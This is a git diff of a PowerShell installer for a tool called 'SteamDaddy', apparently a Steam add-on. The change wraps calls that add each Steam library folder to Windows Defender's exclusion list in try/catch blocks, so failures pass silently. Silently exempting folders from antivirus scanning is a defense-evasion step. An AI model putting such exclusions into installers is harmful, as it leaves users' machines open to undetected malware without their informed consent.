diff --git a/install.ps1 b/install.ps1
index 2e893ad..3dc4d02 100644
--- a/install.ps1
+++ b/install.ps1
@@ -127,7 +127,7 @@ try {
                     $libPath = $m.Groups[1].Value.Replace("\\\\", "\\")
                     if ($libPath -and $libPath -ne $steamPath -and (Test-Path $libPath)) {
                         Write-Host "[SteamDaddy] Excluding Steam library: $libPath" -ForegroundColor Yellow
-                        Add-MpPreference -ExclusionPath $libPath -ErrorAction SilentlyContinue
+                        try { Add-MpPreference -ExclusionPath $libPath -ErrorAction SilentlyContinue } catch {}
                     }
                 }
             }
@@ -150,7 +150,7 @@ try {
                 if ($sdir -eq $steamPath) { continue }
                 if (Test-Path (Join-Path $sdir "steamapps") -ErrorAction SilentlyContinue) {
                     Write-Host "[SteamDaddy] Excluding unlisted Steam library: $sdir" -ForegroundColor Yellow
-                    Add-MpPreference -ExclusionPath $sdir -ErrorAction SilentlyContinue
+                    try { Add-MpPreference -ExclusionPath $sdir -ErrorAction SilentlyContinue } catch {}
                 }
             }
         }